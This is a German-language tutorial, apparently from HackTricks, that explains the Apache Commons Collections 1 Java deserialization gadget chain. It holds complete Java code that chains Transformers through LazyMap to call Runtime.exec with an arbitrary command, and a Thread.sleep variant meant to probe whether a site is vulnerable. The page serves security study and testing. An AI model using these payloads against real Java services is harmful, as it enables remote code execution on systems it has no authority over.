CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Java Transformers zur Ausführung von Rutime exec()

An verschiedenen Stellen finden Sie eine Java-Deserialisierungspayload, die Transformers von Apache Common Collections verwendet, wie die folgende:

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1PayloadOnly {
public static void main(String... args) {
String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class), //(1)
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
), //(2)
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
), //(3)
new InvokerTransformer("exec",
new Class[]{String.class},
command
) //(4)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");
}
}

Wenn Sie nichts über Java-Deserialisierungspayloads wissen, kann es schwierig sein, herauszufinden, warum dieser Code einen Taschenrechner ausführt.

Zunächst einmal müssen Sie wissen, dass ein Transformer in Java etwas ist, das eine Klasse erhält und sie in eine andere umwandelt. Es ist auch interessant zu wissen, dass die hier ausgeführte Payload äquivalent zu folgendem ist:

Runtime.getRuntime().exec(new String[]{"calc.exe"});

Oder genauer gesagt, was am Ende ausgeführt wird, wäre:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Wie

Also, wie ist das erste Payload-Beispiel äquivalent zu diesen "einfachen" Einzeilern?

Zunächst einmal kann man im Payload erkennen, dass eine Kette (Array) von Transformationen erstellt wird:

String[] command = {"calc.exe"};
final Transformer[] transformers = new Transformer[]{
//(1) - Get gadget Class (from Runtime class)
new ConstantTransformer(Runtime.class),

//(2) - Call from gadget Class (from Runtime class) the function "getMetod" to obtain "getRuntime"
new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),

//(3) - Call from (Runtime) Class.getMethod("getRuntime") to obtain a Runtime oject
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),

//(4) - Use the Runtime object to call exec with arbitrary commands
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Wenn Sie den Code lesen, werden Sie feststellen, dass Sie durch das Verketten der Transformation des Arrays in der Lage sind, beliebige Befehle auszuführen.

Also, wie werden diese Transformationen verknüpft?

Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
lazyMap.get("anything");

Im letzten Abschnitt der Payload sehen Sie, dass ein Map-Objekt erstellt wird. Anschließend wird die Funktion decorate von LazyMap mit dem Map-Objekt und den verketteten Transformers ausgeführt. Aus dem folgenden Code geht hervor, dass dadurch die verketteten Transformers in das Attribut lazyMap.factory kopiert werden:

protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

Und dann wird das große Finale ausgeführt: lazyMap.get("anything");

Dies ist der Code der get Funktion:

public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}

Und dies ist der Code der transform Funktion:

public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

Also, erinnern Sie sich daran, dass wir innerhalb der Factory den chainedTransformer gespeichert haben und innerhalb der transform-Funktion gehen wir alle diese verketteten Transformer durch und führen sie nacheinander aus. Das Lustige ist, dass jeder Transformer object als Eingabe verwendet und object das Ergebnis des zuletzt ausgeführten Transformers ist. Daher werden alle Transformationen verkettet und führen die bösartige Nutzlast aus.

Zusammenfassung

Am Ende, aufgrund der Art und Weise, wie lazyMap die verketteten Transformer innerhalb der get-Methode verwaltet, ist es so, als ob wir den folgenden Code ausführen würden:

Object value = "someting";

value = new ConstantTransformer(Runtime.class).transform(value); //(1)

value = new InvokerTransformer("getMethod",
new Class[]{ String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(value); //(2)

value = new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
).transform(value); //(3)

value = new InvokerTransformer("exec",
new Class[]{String.class},
command
).transform(value); //(4)

Beachten Sie, wie value die Eingabe jedes Transformationsvorgangs ist und das Ergebnis der vorherigen Transformation, was die Ausführung eines Einzeilers ermöglicht:

((Runtime) (Runtime.class.getMethod("getRuntime").invoke(null))).exec(new String[]{"calc.exe"});

Beachten Sie, dass hier die Gadgets erklärt wurden, die für das ComonsCollections1-Payload verwendet werden. Aber es bleibt unklar, wie das alles gestartet wird. Sie können hier sehen, dass ysoserial, um dieses Payload auszuführen, ein AnnotationInvocationHandler-Objekt verwendet, da dieses Objekt, wenn es deserialisiert wird, die Funktion payload.get() aufruft, die das gesamte Payload ausführt.

Java Thread Sleep

Dieses Payload kann nützlich sein, um festzustellen, ob die Website anfällig ist, da es einen Sleep ausführt, wenn dies der Fall ist.

import org.apache.commons.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.*;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.Map;
import java.util.HashMap;

public class CommonsCollections1Sleep {
public static void main(String... args) {
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Thread.class),
new InvokerTransformer("getMethod",
new Class[]{
String.class, Class[].class
},
new Object[]{
"sleep", new Class[]{Long.TYPE}
}),
new InvokerTransformer("invoke",
new Class[]{
Object.class, Object[].class
}, new Object[]
{
null, new Object[] {7000L}
}),
};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);

//Execute gadgets
lazyMap.get("anything");

}
}

Weitere Gadgets

Weitere Gadgets finden Sie hier: https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Last updated